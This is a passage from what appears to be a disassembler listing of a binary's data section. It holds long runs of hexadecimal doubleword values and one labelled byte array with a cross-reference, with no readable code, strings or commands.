8142517Eh, 5A1992D7h, 0F0AAEAB1h dd 8258DE9Ch, 0E83E4957h, 147598BAh, 9E9B7D5Fh, 4BBC0342h dd 1D420CBFh, 0F30E6565h, 439A5142h, 0E1AFD29Bh, 60589922h dd 0A409FB4Ch, 6C8CCF70h, 8E9184FEh, 0A89D12D4h, 5FCBEEB0h dd 751EA76Bh, 4D33DBEh, 4C2E40A8h, 0E58B7637h, 5537AD15h dd 0BA9ACC7Ah, 3AD230B2h, 2163D10Eh, 0FBE6168Ch, 0ED1C41D4h dd 0A389874Bh, 240149C5h, 0FCC6CD9h, 83683B2Ch, 0CE700598h dd 0C462F14Ah, 6C269EDh, 0B776E5ABh, 0A1DB28EBh, 0EFBDD8BBh dd 921F47F0h, 0E9556F60h, 31A7AA01h, 63559D8Ch, 634FAC71h dd 6DDCBC20h, 6F7E7CA9h, 0D8DEBAF6h, 1DC3A439h, 5ABE68D6h dd 0CD6F4B11h, 87CD0BE8h, 61D5BC27h, 0D41ECF49h, 1510583Ch dd 6CDBCD5Dh, 9AE75363h dd 518EB4FAh, 6EB98B05h, 286ACEF4h, 4B9CD876h, 8C59F85Bh dd 0C354CAF4h, 1A61EC16h, 2109185Bh, 0D0D394BAh, 0D554EA14h dd 2872D124h, 94BB32C4h, 0FD7D36CEh, 0A5E548FFh, 1AD8433Fh dd 7C39003Bh, 5F13449h, 1684B5E5h, 1D799F5h, 838A96DCh dd 3DA8173h, 4329DB39h, 0E9BEE6EEh, 235BA42Bh, 0A37D62F3h dd 28F15AB0h, 3F12FA65h, 29A0D327h, 0D1FEA858h, 45D894Eh dd 1B0979F3h, 0F3E209BCh, 24E26D6Ah, 0FB45DCA8h, 0CB14E253h dd 7CB30D92h, 875D88Fh, 39DD23CBh, 0B35C3A7Fh, 70EACFABh dd 312AF26h, 0C59323DFh, 0AB8778E3h, 35CB4F0Fh, 0D6E0595Ah dd 0A9D96E40h, 0E1E4FA12h, 434DAD0h, 0BBBD4860h, 1A3FEE2Bh dd 17E911B6h, 70372AC2h, 0C8CC13C1h, 0F6A8B8FDh, 0A09D9231h dd 547125EFh, 9852ECA8h, 5F3FD125h, 0A2AC7B78h, 9F591FEAh dd 4FEFC900h, 3BC43EF0h, 0C6BE4DE6h, 20803F8h, 4F038BCAh dd 0F6085D41h, 0C9B0D4E9h, 0C285CC4Dh, 0A68DB117h, 0F4BA031h dd 46318623h, 5A7DE253h, 906628EFh, 0BF78937Ah, 166AB4DEh dd 0E5E78891h, 0E8960024h, 3747CB30h, 1183D477h, 786A9A42h dd 0AE0E1E4Fh, 0C7451294h, 2361F43Ch, 0B4FE4DB4h, 2DD9B8h dd 5CA7167Ah, 18B71FF0h, 11A50DB6h, 1DE2ABA9h, 1B46C9B8h dd 5D73C6Ah, 891469B1h, 0DAEFA913h, 71ACC94Ah, 7BCB364Ch dd 0DCE03963h, 0A8BF9DF3h, 0D030988Ah, 4FB8C1Ch, 4DCC897Bh dd 67556A54h, 1C59849h, 1E9F1F77h, 3627F1E0h, 0A36B8A23h dd 30EC15C7h, 6900982Dh, 82C0548Ch, 88B2F533h, 36748D47h dd 0F8740C68h, 0D6966C5Bh, 2DE0D9D7h, 111B5DA1h, 8E7A333Bh dd 4A7B7854h, 0CC4C2AF5h, 4B66DC76h, 881525A0h, 0DD7CE6E6h dd 859B1096h, 116F4F72h, 33A65223h, 0F0DCF651h, 1A3EF6E2h dd 2F442012h, 1F62A222h, 0F6E0027Eh, 1500EFB8h, 61FE7F7Ah dd 33DFFC5Bh, 0E112AAF2h, 79B72207h, 0B63E76F4h, 0FB7CD621h dd 0D117D3D2h, 678BE37Ah, 0E2986DB8h, 66875D25h, 604186C1h dd 2C1C9DA5h, 0EA58201Ah, 8C8127E5h, 0D37EFFC7h, 2B3CE4E0h dd 0ED1A9D30h, 9DE7799Eh, 6B829E71h, 0CCB20E11h, 1DBFD5E1h dd 0D1C71601h, 401EC4EAh, 4643A29Fh, 58ACCA25h, 0D7ACFA1Ah dd 0BEC3C55Fh, 0A482D23Dh, 0BFABF049h, 1231FC7Fh, 32A2E3B3h dd 0F7761565h, 9DA6EB00h, 9AEA8E6Eh, 0A78B67FEh, 6AA3F08Ch dd 0C9308605h, 0B454BE74h, 5B1CFEF2h, 3D1D352Dh, 1924310h dd 207A109h, 9309AD1Dh, 270533DAh, 0D125A0BCh, 62218D2Bh dd 5EA5258Ch, 26E53996h, 4D275A2Fh, 9A14B5E9h, 6F2ACBD7h dd 0F46E0BFBh, 76F2EDBDh, 0F8AE1162h, 0E5BEDCA5h, 24E32683h dd 25127DEFh, 89293846h, 606CD800h, 372EE064h, 320D8840h dd 4A86FE4Eh, 1CF7BC39h, 7BB8C80Bh, 9A04CF05h, 0BD8DC0BFh dd 0B0619085h, 9E5E3AC0h, 0FE5EBB38h, 8D3C6ABh, 0B0C5FAC7h dd 90088E5Ah, 543015DBh, 0CFB62CA3h, 0A0DE55C5h, 34E66FF3h dd 96C22ACFh, 56536F45h, 67AE9A09h, 15CF712Dh, 973854AEh dd 41DC3F78h, 83D698F5h, 7FC26ED3h, 79BDE8ADh, 0C39B1D4h dd 2C79E187h, 0CA2C68EEh, 0EF5EF8DAh, 431CF81Eh, 0A44284E9h dd 0BC43B5D3h, 80AA3BA0h, 6C3CD62Dh, 0D83FAA8Eh, 0B7447EFAh dd 4473C783h, 15FB1AE9h, 21E683F3h, 34F21579h, 7F07307Fh dd 0C102181h, 5BAE74E7h, 4BFF5D5Ch, 0BED4A03Bh, 8CDD044Dh dd 0E883B547h, 37D0EE8Bh, 171E955Ah, 35247BAh, 98E513D5h dd 74AA4794h, 2F83917Ch, 233679AAh, 0A19BF5B2h, 0CE961F2Ch dd 69593ED4h, 145143F3h, 6996F730h, 0A537E6D8h, 0E08F8EB0h dd 6E2A7CBDh, 2A45CB0Ch, 9242F7D6h, 38D052AFh, 3BA2BEDFh dd 0E64849h, 0C063E920h, 62E31A89h, 0EA664C66h, 5A561B3Eh dd 0F8731C43h, 5E232F47h, 2E73DC29h, 0E1C410BBh, 0F624A507h dd 0A490ABA5h, 0DB5F716Ah, 9C4587CEh, 9AC2FDDAh, 0A02DB4C2h dd 404BEE60h, 7F53C82Dh, 0D006E74h, 51119703h, 4D71B65Eh dd 0F4C8DFFAh, 3193ADD1h, 0F8550DFFh, 0E505910Bh, 0DFE3EA63h dd 0A07DED00h, 1133C0BBh, 3F0B4020h, 0D3EAF66h, 776C4D2Eh dd 0B6A25925h, 0F2B65C37h, 9AF89449h, 187FF41Bh, 0B1498EB8h dd 7DAAC87Ah, 0CDDCA1C0h, 587733B8h, 0A3CD5408h, 0D52C5FE5h dd 6D142310h, 0A4D51629h, 0A00DCB78h, 0FCE9A781h, 707A6C7Eh dd 0BB3B4432h, 4C7E6185h, 0F78323ECh, 738DDD3h, 0C8989E51h dd 0C307CC9Eh, 310706CFh, 84E54A23h, 0F994EA5h, 0CBBB69A3h dd 4D928F96h, 318B32EFh, 0A22D1B06h, 0C01F65A1h, 7A58AD4Ch dd 2C52F245h, 0D7E32154h, 0AAF2481h, 945CC2FCh, 43D37B3Dh dd 0A67ADCF2h, 36AE1357h, 139FDECh, 0F2EC59EDh, 0EF6F011Bh dd 111E7BCCh, 405C12A4h, 16B79067h, 0F9C480FBh, 0F465A2F6h dd 4539D031h, 0E7732EEh, 0C8464117h, 0C2EC724Fh, 1A99EA21h dd 0F2840BBFh, 46E22932h, 0E57D1376h, 57B61B36h, 0F23B0A47h dd 0AC30633Eh, 7DA98DC2h, 53189051h, 0D844D838h, 0D480C9D6h dd 0B77303CCh, 0E9E31455h, 0CB002F2h, 0D2EAD427h, 0D31AEDBh dd 5AED0A75h, 3D4D7473h, 754504ABh, 0A025F865h, 4B56C06Bh dd 2E83DC90h, 3B1FFE08h, 573F7244h, 0D17E8C5h, 0BD8847Eh dd 1464FE27h, 0D2C2E360h, 208DA716h, 38845BC5h, 0D3D9C460h dd 0D6030131h, 0ECB20098h, 1D6F1A6Bh, 0A2C81E17h, 6A15BB06h dd 0F1674DD8h, 2D21C1CEh, 0BD361A08h, 471E5034h, 0F1359608h dd 0AEBE9894h, 9CF87D91h, 0BFBB83C1h, 0BAEC2EF7h, 3F2872A6h dd 0D5181147h, 9443859Fh, 77F9C461h, 70CD1B97h, 2C46DE96h dd 84D3D1F5h, 8D5CF7FBh, 2A2586ECh, 1B19F3A6h, 237849D4h dd 13DF612Ch, 92CCF802h, 62215BFAh, 9834CB7Eh, 0CEC653D4h dd 12C64377h, 70B66B14h, 0A7EE00E0h, 0B6F099F0h, 1FD842F1h dd 783A85C9h, 0BDF21BBEh, 0F8881B4Fh, 677D9FDFh, 66DBB070h dd 0AA02DD72h, 6617BD87h, 9151747h, 8BFE3803h, 0F3F3412Bh dd 17CFAAAEh, 0F2FA96A8h, 18F32565h, 0F30A11E7h, 7406BF39h dd 2636EAB8h, 55CA4498h, 39AF521Eh, 1D01D940h, 6360A5F7h dd 0B33DE2C9h, 6A742909h, 0FF384873h, 0C9EB4B08h, 405DD32Fh dd 40FC798Fh, 0FB86E269h, 3FD93C83h, 0C361ACBBh, 7211EE50h dd 0E7517F76h, 3BAFE1BFh, 0ABECF175h, 76B12DAEh, 9A0252ACh dd 39DA0BF6h, 675AC1Dh, 47821D65h, 0A0C43690h, 19406EF7h dd 0DD01A255h, 0E8F0E486h, 267CB542h, 0E3C6D0CEh, 585514CEh dd 0DD02383Dh, 626D9324h, 8845DBC0h, 8AC7C04Fh, 0C1E55843h dd 69C3176h, 0ACA576CDh, 0C0CAFF09h, 0A53316BCh, 125DE540h dd 64DB3AD1h, 0F416900Eh, 0B7240235h, 0E5FA51C1h, 0FF553FADh dd 16669122h, 0B378E350h, 6783536Eh, 0C72BB77Ch, 85BBA17Fh dd 0C1729F86h, 19469A1Eh, 0A9670FF3h, 0CBB09D5Ch, 0E463A024h dd 55651C13h, 0D2F6FD7Dh, 0E9B1A423h, 46735E7Fh, 70638026h dd 0BE12DB83h, 0B83B2AE6h, 0DCEAF850h, 296F7B65h, 7780B741h dd 0F45C2404h, 0B2BE62Ah, 69E1391Dh, 489FB457h, 93EF76E1h dd 4206DDBDh, 4A386B7Dh, 6099D6D2h, 9C981FFh, 16F2E416h dd 77B91FB2h, 8308D83Eh, 0D5FE9912h, 0FD75D9E6h, 0A51DC0CEh dd 8151972Fh, 0EFE817A7h, 3F04C96Dh, 0DD70C2E4h, 3B340D4Dh dd 0D1066A8Ah, 3E498BAAh, 0C02B1A1Dh, 0A0DAA760h, 40EB8D44h dd 1D5EFDFAh, 8070BEB3h, 11136305h, 127A6823h, 117071C0h dd 0F772A16Fh, 0F04C5ADAh dd 0DB340C4Eh, 0F0591C8Ch, 6238D67h, 0A04C29B5h, 41CAE937h dd 0C71463E6h, 67AA423Ah, 0D0148E2Ah, 0B74D1C68h, 0F7C0578Dh dd 0ADEC6902h, 0A24D50EFh, 0D3E83005h, 0E66074B8h, 0DEA669F2h dd 0C61DB907h, 40F5CF32h, 0ACE7DB1h, 1A3F99D4h, 61501A54h dd 216A8E5Fh, 0F51E6CAEh, 0D71740ABh, 970418DBh, 8A996593h dd 0B50E3251h, 242C1639h, 71221659h, 91542B5Ch, 0C712241Eh dd 0B28CD5EAh, 0DF7C75A8h, 374BCA4h, 0BF85AF3Dh, 4F538C81h dd 774F034Ah, 0A2B2E98Bh, 1D4CDFF3h, 0F1DB376Eh, 0E6C104BFh dd 0AA2DB5Ah, 167D24E8h, 6CADE29Dh, 455723F6h, 0ADBA6C17h dd 41E9ABB5h, 489973BBh, 0AC8C3EB1h, 33BE6246h, 0A49D3853h dd 0A396B0Ah, 3D1658EFh, 1F9F0B42h, 0E0622CCCh, 756476D7h dd 934BD81Ch, 816EED6Bh, 0CABCD82Bh, 0E9373BE6h, 0A26CBAB4h dd 54058F25h, 2675E7h, 0E184E6F2h, 56016540h, 1259CE03h dd 5BAB00E3h, 5E982398h, 6072D8FFh, 5DB68E88h, 0AC85DE16h dd 54B5318Ch, 0DD6EF5FCh, 4DAD3B02h, 0F2E0814Dh, 5B5DA281h dd 2AE5042h, 2DA69EFBh, 1EC3A385h, 0B3EE7D66h, 0FD50236Ah dd 6F22F1DDh, 94B6CFECh, 80D489A5h, 0F9DCFC98h, 4F47F77h dd 48448DDFh, 4E821050h, 0E926BB6Eh, 0FCD62ABh, 39F79635h dd 4A4F0B64h, 0B7AEB1FAh, 3BE7EF76h, 4448951Bh, 0EA04BB50h dd 15F48A29h, 13A4E568h, 1A51FFE3h, 5ECCC057h, 62C6091Bh dd 7F219527h, 71E61D8Eh, 23FD3B13h, 6E0EF4BFh, 199F47C4h dd 701BEF7Ah, 59DF98A5h, 0BD17E665h, 0C17F213Fh, 37C5A41Eh dd 2311B763h, 9ADEA8A2h, 0CA2B9498h, 1E37583Ah, 78DFE19Ah dd 0AA097E34h, 0A5167CD2h, 2F89FA82h, 69AE1C72h, 237C3h dd 0D34AE68Ah, 0BE335E4Fh, 0D9B442B3h, 3EA86DA3h, 0D6C1DAA7h dd 0C5C1EB9h, 16A86DB4h, 0E62AB746h, 4615AE99h, 1BC0BB2Ah dd 661059Dh, 9FA04909h, 0D7F83E18h, 29329C34h, 0DE37278Fh dd 0F930D982h, 989B138h, 9E513AC9h, 308B6D1Ah, 6DC7C404h dd 11B0A31Ah, 0A493F3Ch, 0B9DD5ABCh, 0F5D890F5h, 5E187D95h dd 9EA5A309h, 0DBF9283Ch, 18847F7Eh, 57C1D63Fh, 5DBD8EA4h dd 0EFBBF10Ah, 0F69948D6h, 0F7AD68D8h, 0E20EFD64h, 0E334FAD8h dd 1B8B77D5h, 1B3E2D89h, 2256741Ah, 0A63FA469h, 910D75A8h dd 0EA94AD86h, 72FA17F5h, 0E631CEB8h, 0E2E13B64h, 22D36E1Eh dd 0DBFF883Fh, 41972A2Bh, 0FD78918Dh, 0D9A81DF7h, 6FDDEE1Dh dd 2AC39051h, 98396722h, 84746CDBh, 35DA5F44h, 1AC4A131h dd 0C0DB33h, 20BAC57h, 8A1751A7h, 89DFFEB0h, 4DDD8FF2h dd 10C6DE18h, 363E1E95h, 0E4CC690Eh, 729B8A9Bh, 157E5A37h dd 0EE5FF074h, 9C91E30Bh, 0DC8E82h, 0DEC60EEEh, 4FAD0B5Ah dd 6849FE4Ah, 5F2F4816h, 47187A0h, 6058934Eh, 7CCA879Ch dd 0C1ADA640h, 45BB9C5Ah, 7B968524h, 4C11ACC6h, 0A61E061Ch dd 0DB07666Bh, 7D4FFE93h, 906F72F1h, 9D00902Ch, 0DF909A56h dd 0C5679FD2h, 2ED68Ch, 0F5EA6D03h, 0DD45BC7Fh, 0A9FE0357h dd 57042F43h, 0BEAB4431h, 796DB1AEh, 0C84E0F4Ah, 4A89C263h dd 862B232Fh, 21A0C0CDh, 0F40965DAh, 0A316D84Ah, 0A3C247C0h dd 0CE76AF75h, 1C9A3B80h, 1585033h, 1A17C657h, 8661BB89h dd 575E2B6Eh, 0ED0E12B1h, 30C5BB3Eh, 78CAFC08h, 35FF992Dh dd 6007DDBBh, 0F26A2CABh, 0A6F329C1h, 1A2751Dh, 39598AAAh dd 6B001991h, 5A274276h, 0DAD39F49h, 3D8050F9h, 0D0C38836h dd 0C06462B4h, 0F5252A99h, 70D4B9A5h, 62FE1C7Fh, 0BCB9A17Fh dd 0E28FE8FEh, 0EB593F41h, 2EB53DEBh, 76ED2A61h, 0B86DDF27h dd 1888ED6Fh, 0BDB8BAD0h, 0CEC7DFD0h, 2093B53Ch, 0E07C3630h dd 0E3E97156h, 5F90698Eh, 0CD62156h, 0A2C44D0h, 0A8DCF302h dd 0B50135F7h, 0C35D517Ah, 4C88B3F4h, 70F0316Eh, 0F620EDE4h dd 0EBE0AB3Bh, 3BBE9F7Fh, 9368FC33h, 3876E79h, 8EBCA6C0h dd 0DA79F665h, 7DBFDD1Ah, 49A99135h, 0E8BE892Dh, 9B6F9AEh dd 66C6931Ah, 0F515B77Eh, 0C0513E8Eh, 13DA0C45h, 54872B79h dd 0B3D468E0h, 0BC24D3AAh, 0DB1A1EC2h, 719ECDB8h, 4D8F8AD0h dd 94822F8Dh, 52082F72h, 0A0937467h, 0FFC55B32h, 122EB260h dd 0DFA6C7C1h, 7E12BA71h, 0D1820891h, 38EDDE0Fh, 0C362133Dh dd 0D6483586h, 0D2A85734h, 9A7722CDh, 0F173E04Ch, 582E6295h dd 0AE2A3D73h, 0B2CCC2C3h, 389955A0h, 73B693F4h, 0CAA817DEh dd 61A3D393h, 3604F151h, 2BE20B7Dh, 8CC4EE64h, 0E63AEEF4h dd 5161C183h, 65321372h, 1BCC976Ch, 0DA83E915h, 0FDBF15E8h dd 0CA03C87Ah, 50EEFACh, 468FDDE8h, 37043DC7h, 632707E1h dd 5108E88Ch, 0FF015DEBh, 7919F36Eh, 0BA4D6C33h, 9A97B8B3h dd 5BADB21Bh, 3BDAC774h, 28D85D44h, 0DB939CDEh, 17F8B4AEh dd 0F30A779Ah, 65B27CD3h, 91F4A482h, 0F7C5642Ch, 640C447Eh dd 0A1332CA8h, 71536906h, 5DF480B5h, 9D166B08h, 29A98737h dd 82FBED83h, 663D00B1h, 5C5372F8h, 6BA499FEh, 508518B6h dd 0C9366D67h, 90993350h, 0B1C35287h, 54E7EEFAh, 0A1B3B5FFh dd 193F0C7Ch, 58BC7471h, 0D0409EA7h, 700C8D67h, 8CCA66DCh dd 97E7F88Ch, 61539A00h, 30830913h, 99DEBAB5h, 275E9533h dd 45C3B83Fh, 323AD6FFh, 44681959h, 0F859400Bh, 85C52448h dd 5E3B5385h, 0EC42E23h, 28D7ECAFh, 834D943h, 0DCA4FA0Eh dd 0B1DD7238h, 0EB244521h, 0F89516F1h, 0BF1B48D6h, 1224C6CBh dd 5422E48Ch, 4E1B49A9h, 0E3DE94ADh, 98E2248Bh, 0B5150D65h dd 48F3C6BFh, 109640D6h, 9BBEAD42h, 8E243ABCh, 4A9E657Ah dd 0F0F30DE7h, 9AF6EFF2h, 0A3FD0DF2h, 0E1044CE3h, 0FC0B138Ah dd 0AC625066h, 3A8EF94Ah, 70657F51h, 5EBA80ACh, 0BC06C63Ah dd 4A657482h, 9B8F79B3h, 0F641C9B4h, 88EF5CCCh, 82B9D47Bh dd 0CA70BE63h, 44739F33h, 0FCD221E2h, 0E38B73F7h, 995280B9h dd 66C0FF7Ah, 797095A0h, 6E90DC70h, 81E95B84h, 18AE46FAh dd 70F6C67Dh, 0E958A977h, 9A7B7D40h, 25AE4431h, 7D956CE8h dd 24DC3F9Fh, 0A3C9DB4Fh, 0D62C0FDCh, 0F1F77802h, 0A85AF37Ch dd 30B4D5EFh, 0F6CDAB17h, 2F6FC3DCh, 0B235D028h, 0D05EF8A5h dd 0FD9E2FE3h, 225615B2h, 993B7A44h, 0BACC5EE6h, 413A094Ah dd 48CA1373h, 95272837h, 0DF1CCC5Ah, 0A0090816h, 9966655Eh dd 5844D5F4h, 0CDFF15DFh, 7EBBD480h, 0A1D219CAh, 0D10A4A63h dd 0C005EF41h, 0E3F28F6Eh, 0B2D64B5Ch, 51DDAE8h, 0D1DE3972h dd 0A270BE9Eh, 1D10A4E6h, 30ACBAAFh, 4BF79692h, 27B07AD2h dd 0C24FB8B5h, 4A27CC8Ah, 0D32B5412h, 0A734FC63h, 78E030Ah dd 479D316Ah, 0A68674F3h, 2E6D5D04h, 79CC466Ch, 4A162F7Ch dd 47673EB7h, 98724584h, 0CC7766E4h, 2C5ACF1Ah, 0D67D33B2h dd 5F5D8C1Eh, 0C82952F7h, 0F34FA17Fh, 3DECDCCDh, 56E861D7h dd 4F4889F1h, 0B53E2362h, 8B099F88h, 1EB6F003h, 0E19D51ADh dd 1CA51BCAh, 8DE71DA6h, 0B676A1F2h, 6E5498C7h, 45F44D80h dd 732FDF7Dh, 0D3355874h, 40288DF6h, 0D8147A89h, 45D0563Bh dd 0CE47990Ah, 74E491Dh, 7A6CF4ADh, 5320BA5Bh, 441A1561h dd 63669FE0h, 54915E65h, 0A797CB6Bh, 110DD9B1h, 0A76A771Fh dd 97CDCFEDh, 49D46B7Ch, 813C8CF1h, 0A67978D5h, 0D9C96647h dd 9AA6DE71h, 0A08A43B9h, 0F326A42Ch, 30F6CDC9h, 0F38095A1h dd 0F9417AAh, 0A1FD8DC4h, 5B1E035Eh, 0CFC85C2Ah, 266F07F4h dd 8FE02DCAh, 1CBCA220h dd 92191C0h, 6EDADFDFh, 0E19D99C8h, 8DC6DA15h, 5895DC53h dd 0AA1AE274h, 0F330E8E3h, 8C97A94Ah, 0CEAFA196h, 66707922h dd 0F83E5DA0h, 0DF09CFB6h, 0DCECC63Ah, 0F7DA3907h, 9AAE0B49h dd 0BB4C3C08h, 6A321415h, 5FBF4DC9h, 5406E1Eh, 0C64CBA99h dd 778FBA7h, 0DBB52B50h, 0B0DBB06Bh, 764A099Eh, 3AF3D96Ah dd 0D68E5D32h, 3A5919B8h, 467C3F28h, 90139B07h, 43FBCD3h dd 1D88F81Ah, 0DC57EFCBh, 4D49C4FAh, 8F9A1FC8h, 0DF0A8163h dd 13B206E1h, 0CAB1DCD2h, 0A3984826h, 0B15A94A7h, 3974219h dd 0C269FB15h, 0D83F2D31h, 6AB1B867h, 0C32D32BEh, 2FCDCCDAh dd 201734A2h, 0F382B90Dh, 21C3092Dh, 0DA643052h, 14AB67C4h dd 8FB8BA44h, 8EBFF01Eh, 420939B3h, 6EF5AE73h, 90600B2Ch dd 16D26684h, 0A4AA4A1Bh, 0B328515Eh, 0BB9B882Eh, 0B098E24Ch dd 0C4DD9C80h, 0AFC6D113h, 6C0D1947h, 0CBB634F4h, 45C4E8F9h dd 5942E8E0h, 0E6E578h, 0AD776232h, 0D2EB86ABh, 0F00E860Bh dd 7FF45257h, 459AE0AAh, 4203CC6Ah, 7D8B31CDh, 0B1222BB7h dd 0DF6B2543h, 30B8EED5h, 43635533h, 37CCF99Bh, 6723160Ch dd 0A40627CEh, 0D7F78AE7h, 0D623EFDDh, 25357DD4h, 2C55E481h dd 0B2CC1AF2h, 0C1F20AE9h, 320CED92h, 26052629h, 63ACA852h dd 0FBB6B0C4h, 648B2FC2h, 0A37D13B1h, 0BB306DE8h, 0D06ECAC8h dd 2C23F473h, 8A7EF2CBh, 0ADF9AAF7h, 0B22E741Bh, 9F179AD6h dd 6CA37D0Fh, 0E6BB74CBh, 18C68013h, 0E37B3517h, 24880E71h dd 0D5E7D58Bh, 2229CFAFh, 4613C077h, 0B6314BCBh, 76179128h dd 604C5BD9h, 4E94697Ah, 9F228937h, 3D36001Dh, 9F1B50CEh dd 8F37409Ah, 0C89449F5h, 54DC71C6h, 772CAFCh, 0CE7BE3F2h dd 0EA559122h, 900EB9F2h, 50D85AD7h, 0B6135F9Eh, 8FF7BEFEh dd 0DA92E078h, 13BA9EE1h, 0DF3253EBh, 28D9F9DAh, 0C0AE6A8Ch dd 425E3BC0h, 0E2D11C7Ah, 0A3C6652h, 0A2F37DB9h, 0B32D640Bh dd 6D809DFCh, 0C64B9546h, 0E775D520h, 133AF7FBh, 5D6B3C15h dd 3C47A521h, 0C632B125h, 4DB91B4Ah, 0B6EB93D9h, 72F09D5Bh dd 5EDC2B0Ah, 2F030AA0h, 4BE61319h, 43664C03h, 87BE820Dh dd 0A207775Fh, 56980386h, 90233342h, 0EF1F0405h, 1482205Eh dd 4E4472BDh, 6950366Bh, 62CB9E37h, 0A2BF189Dh, 1B13E6A5h dd 0A4A432F6h, 0C1AC519Bh, 0BA5639C2h, 0CA159FFDh, 8D2D0427h dd 0D41491B4h, 73ABBDCCh, 0FB2E518Ah, 9F6F66D1h, 856D81D7h dd 26011B4Eh, 4FAE0175h, 48E01710h, 0B07CB5F9h, 5BE9876h dd 8BAC6048h, 912D365Fh, 2C5B255Dh, 3EBE36CFh, 62D7E7F4h dd 9039ED00h, 284B4B40h, 0A60FA28Eh, 665FAFC7h, 0B0389364h dd 0F608B3D2h, 0A6FB751h, 48AB3CDFh, 5E8B3C5Bh, 72DB6F8Dh dd 0FE703EA3h, 0A3042CE6h, 0FFAAEB02h, 0D74C9EDBh, 680019C9h dd 5D8048FEh, 532F900h, 4C421DF5h, 0AF0AEE61h, 7E456379h dd 0F5323690h, 0C69AB904h, 7464C262h, 22C1358Bh, 0AD08D776h dd 7B111F8Dh, 0C6C356D6h, 3152B0AEh, 892B87F1h, 62E2DF77h dd 0AD11F106h, 0A84AADACh, 7DF12EC3h, 7C8576FBh, 7E40E8ACh dd 0D62EFD0h, 0F39B2AA4h, 92DFDA3Eh, 43174AD9h, 51CBA999h dd 5D4BADFFh, 4E95035Bh, 2CD8721Fh, 0A608002Dh, 524CE6Bh dd 60D9D4EAh, 0D2B6EF63h, 0DCF8B5E6h, 4391EE66h, 11D96E54h dd 744B64E6h, 0F923E88Bh, 68D48A1h, 6417F324h, 0A84156E8h dd 6E075720h, 3866F06h, 3A42B37Ch, 1E6B4EC2h, 2F2C11DDh dd 5C8892BBh, 54FBED43h, 8F23F9EFh, 0B5A0C021h, 0A6C19086h dd 0BE432085h, 9D3CEEEAh, 7BD6F9D2h, 0E075D96Ah, 797AFB62h dd 7A0BA98Eh, 844B0BEAh, 0B69DBF44h, 80C42998h, 95D010B5h dd 79F5BC28h, 83374C1Bh, 0FAD2AC78h, 81A968E4h, 21D8E172h dd 0F16C4A0Fh, 1DDAAE8Bh, 858AD46Ah, 0A6EA1529h, 0CF524449h dd 0F3D83E6Eh, 0FBDD5B36h, 6CA58567h, 5B47959h, 2431AB30h dd 0D009AB65h, 0C886929Bh, 0E2FA417Eh, 53EE2077h, 0DB999E10h dd 81259838h, 0FE1FB3C8h, 26D93117h, 0DD990B21h, 0D82F5D1Eh dd 2CB7A0B6h, 6D86099Bh, 85A3B6FDh, 9893EAE2h, 0A609D9F2h dd 0BC6D185Eh, 962E0A79h, 0ABCA5B03h, 311064C0h, 9BD6134Eh dd 0EE9BB169h, 472D499Ah, 1A53596Fh, 80C4B915h, 0EE6F5F5Bh dd 0A85EA59h, 0C67FCC7Bh, 0CF59D7CEh, 77FD1A4Dh, 0ADD4D7DFh dd 72C4106Bh, 5D2368C7h, 0C016AF6Fh, 0E7CF3722h, 0AB5B0D23h dd 944EDC6Ah, 29BCDD1Ch, 9B20AE8h, 0EB81D338h, 0ABAF538Bh dd 0F716DCF3h, 704912ECh, 15F294A5h, 0E0FB4954h, 5229AD91h dd 50B98D28h, 49AE2FA0h, 0C8447910h, 524C3AF6h, 0BF82ACFCh dd 8233DD9h, 74CDB080h, 0C1113D1Eh, 0C35202E7h, 0E9E9B619h dd 70BC5424h, 2F4AA418h, 93830BDDh, 9E8819Eh, 18B9929Ch dd 81390CF1h, 0ACEFA53Eh, 48E6425Fh, 0F913135Eh, 75C61E37h dd 249C5475h, 108A7C4h, 0B0568138h, 0CD6D3E06h, 4AD03667h dd 157C625Bh, 0B5362E0h, 843C1B04h, 495513B5h, 1E8137B4h dd 4D067B6Eh, 0DC883064h, 47E46DC6h, 0D78DEC1Bh, 17C2D388h dd 8471AA8Eh, 674A8F5Bh, 0ECF8D0B0h, 9114C63h, 0E49CA254h dd 0AB2553EBh, 0BE69B5ACh, 0CD868601h, 0C10C9005h, 0C36A40A9h dd 0D905E871h, 2AA76065h, 46546B26h, 0B8B32BDDh, 0CED8A367h dd 77EC6B40h, 0C87CC09Ah, 6D1E7F8Ch, 3F611996h, 60E4931Fh dd 0BA1BDD16h, 0FA4389DBh, 9C70EF06h, 0E0B2885Ch, 0C1EBD5h dd 1217D21Bh, 1A7B74F3h, 0C1F56635h, 0D4D4142Ch, 548D1CE0h dd 0C2BD1805h, 0F9494C57h, 0EA92FFE8h, 0AF16A865h, 0E7E92691h dd 0E0AE6542h, 63AFD448h, 630713FBh, 0EA40285Fh, 0EF7965C7h dd 34F51EEFh, 5AC48A09h, 647946EDh, 0ECC1206Dh, 0DC0C7223h dd 0CBC088C2h, 0BA9C8200h, 15DFA7FDh, 0DCC9F50Dh, 8467310Fh dd 55C9C214h, 55CEAFD0h db 9 byte_464E49 db 9Eh, 29h, 27h ; DATA XREF: DMN0:off_410116o dd 4193DBF6h, 1C17E92Bh, 8C260716h, 3903B1EBh, 28D297C9h dd 7B21D4A5h, 5DA67B0Eh, 0DA5D98C0h, 7DBECE55h, 2E01362Bh dd 2B60B0D8h, 949CE7A2h, 0D99E3783h, 0B40876Ch, 0CD831006h dd 0CAB40D2Bh, 0FBCEF1EFh, 0EDD27A9Dh, 0EC8FF53Ah, 0FC3C290Dh dd 51101C0Bh, 71E0F3FBh, 5236250Fh, 290B92Eh, 480EBB6h dd 5DA4812Ch, 98C37ED4h, 0DC9268B8h, 6EDB2920h, 0E971BD82h dd 0BC290DDh, 5719DD79h, 7F792EAAh, 206F658Ah, 5438436Ah dd 0BF5A6ED1h, 547677F7h, 54A01F23h, 57291C84h, 39863B20h dd 1EDFD599h, 43E8A944h, 4E05911h, 37B537D7h, 1C7EA5E6h dd 9E887928h, 0DCCBE876h, 59818C48h, 0B7B43676h, 876AFB0Dh dd 55A74075h, 296D81E4h, 0C8EC68F4h, 0C061E8D4h, 6E6BF3D9h dd 7EDFBA07h, 0A46AEEBEh, 636C607Ah, 0D50505ACh, 841F2F6Dh dd 17BFEFEBh, 8E7A4DD5h, 791A5D4Bh, 0E6769191h, 734D78FEh dd 0BD76D7C0h, 0DD384D5Bh, 90E68EF7h, 0AEBA87C4h, 7FA74239h dd 66F3BC04h, 45A8944Dh, 0FE4619A2h, 0E0C80C72h, 4110F479h dd 0E89ECAE2h, 67D1B3F9h, 0E73CB599h, 97FE3CA6h, 0E3719C14h dd 4A932325h, 0C5783C70h, 0F831AF30h, 25B5C421h, 97185027h dd 117ABBFFh, 0B2879D14h, 0BF13F443h, 